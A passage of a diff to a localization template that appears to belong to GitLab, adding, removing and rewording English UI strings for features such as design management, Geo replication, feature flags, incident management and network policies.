-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
